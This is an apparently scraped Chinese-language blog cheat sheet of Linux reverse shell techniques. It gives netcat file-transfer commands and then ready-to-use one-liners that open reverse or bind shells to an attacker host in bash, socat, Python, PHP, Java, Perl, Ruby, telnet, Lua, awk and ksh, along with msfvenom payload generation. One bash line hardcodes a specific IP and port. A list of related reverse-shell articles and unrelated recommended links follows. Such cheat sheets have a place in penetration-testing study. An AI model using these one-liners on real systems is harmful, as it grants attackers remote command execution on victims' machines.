1.1发送文件(公网发内网)

文件发送端:

nc -lp 6666 < 文件

文件接收端:

nc 发送端ip 发送端端口 > 新文件

1.2发送文件(内网发公网)
文件发送端:

nc -lp 6666 > 文件

文件接收端:

nc 发送端ip 发送端端口 < 新文件

2.聊天
发送端:

nc -lp 6666

接收端:

nc 发送端ip 发送端端口

3.1发送shell
发送端(公网服务器):

nc -lvvp 发送端port -e /bin/bash

接收端:

nc 发送端ip 发送端port

3.2反弹shell
接收端:

nc -lvvp 6666

发送端(内网网服务器):

nc 接收端ip 接收端端口 -e /bin/bash

4.bash反弹
接收端(hackip,公网):

nc -lvvp 端口

发送端(受害者):

bash -i >& /dev/tcp/攻击ip/攻击端口 0>&1

发送端(受害者):

0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31

5.1socat反弹(tcp)
接收端(攻击机):

./socat TCP-LISTEN:端口 -

发送端(靶机):

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口

5.2socat反弹(udp)
接收端:

nc -lvvp 8080

发送端:

socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

6.python反弹
接收端(攻击机,外网):

nc -lvvp 端口

发送端(靶机):

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

7.PHP反弹
接收端:

nc -lvvp 端口

发送端:

php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

8.JAVA反弹
接收端:

nc -lvvp 端口

发送端:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

9.perl反弹
接收端:

nc -lvvp 端口

发送端:

perl -e 'use Socket;$i="攻击者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

10.ruby反弹
接收端:

nc -lvvp 端口

发送端:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

11.telnet反弹
接收端:

nc -lvvp 端口

发送端:

mknod backpipe p && telnet 攻击者ip 端口 0<backpipe | /bin/bash 1>backpipe

  

12.lua反弹(安装lua环境:apt-get install lua*)
接收端:

nc -lvvp 端口

发送端:

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻击者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

13.awk反弹
接收端:

nc -lvvp 端口

发送端:

awk 'BEGIN{s="/inet/tcp/0/攻击者ip/端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'

14.ksh反弹
接收端:

nc -lvvp 端口

发送端:

ksh -c 'ksh >/dev/tcp/攻击者ip/端口 2>&1 <&1'

15.msfvenom生成各种payload
接收端:

nc -lvvp 端口

查找payload:

msfvenom -l payload |grep 'cmd/unix/reverse'

生成payload:

msfvenom -p cmd/unix/reverse_模块 lhost=接收端ip lport=接收端端口 R

linux反弹shell总结的更多相关文章

  1. Linux 反弹shell(二)反弹shell的本质

    Linux 反弹shell(二)反弹shell的本质 from:https://xz.aliyun.com/t/2549 0X00 前言 在上一篇文章 Linux反弹shell(一)文件描述符与重定向 ...

  2. linux反弹shell

    参考链接 http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html http://www.waitalone.cn/linux-s ...

  3. linux 反弹shell

    Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...

  4. Linux 反弹 Shell

    攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写 ...

  5. Linux渗透之反弹Shell

    前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...

  6. Linux下几种反弹Shell方法的总结与理解

    之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...

  7. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  8. Linux bash反弹shell原理引起的一点思考

        最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...

  9. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

随机推荐

  1. 用python做youtube自动化下载器 思路

    目录 0. 思路 1.准备 i.savfrom.net 2. 探索并规划获取方式 i.总览 ii. 获取该网页取到下载url的请求 iii. 在本地获取请求 iv.解析请求结果 v.解析解密后的结果 ...

  2. EasyUI 表单插件 multiline easyui-textbox 多行换行失效问题

    1.问题描述:原始html: <input class="easyui-textbox" name="myname" id="myid" ...

  3. ORA-39700: database must be opened with UPGRADE option【转】

    1. 错误 数据库升级后(从11.2.0.1升级到11.2.0.4)启动报错 SQL> startup ORACLE instance started.   Total System Globa ...

  4. 【MyBatis】自定义 MyBatis

    自定义 MyBatis 文章源码 执行查询信息的分析 我们知道,MyBatis 在使用代理 DAO 的方式实现增删改查时只做两件事: 创建代理对象 在代理对象中调用 selectList() 配置信息 ...

  5. LeetCode117 每个节点的右向指针 II

    给定一个二叉树 struct TreeLinkNode { TreeLinkNode *left; TreeLinkNode *right; TreeLinkNode *next; } 填充它的每个 ...

  6. Flutter 基础组件:图片和Icon

    前言 Flutter中,可以通过Image组件来加载并显示图片,Image的数据源可以是asset.文件.内存以及网络. ImageProvider 是一个抽象类,主要定义了图片数据获取的接口load ...

  7. Ubuntu 18.04.4 系统优化

    1 ) 允许root远程登录: sudo apt install vim git net-tools openssh-server sudo vim /etc/ssh/sshd_config .... ...

  8. 数学建模学习笔记 | matlab基本命令及用法

    前言 数学建模对matlab水平的要求 了解matlab的基本用法,如常用命令.脚本结构.矩阵的基本操作.绘图等: 熟悉matlab的程序结构,能创建和引用函数: 熟悉常见模型的求解算法和套路: 自主 ...

  9. 【Java】Java关键字、含义

    Java关键字 来自 Java 核心技术卷I 基础知识(原书第10 版)/( 美)凯S 霍斯特曼(Cay S . Horstmann )著: 周立新等译一北京:机械工业出版社, 2016 . 8 Ja ...

  10. 【Linux】ps -ef 和ps aux 的区别

    Linux下显示系统进程的命令ps,最常用的有ps -ef 和ps aux.这两个到底有什么区别呢?两者没太大差别,讨论这个问题,要追溯到Unix系统中的两种风格,System V风格和BSD 风格, ...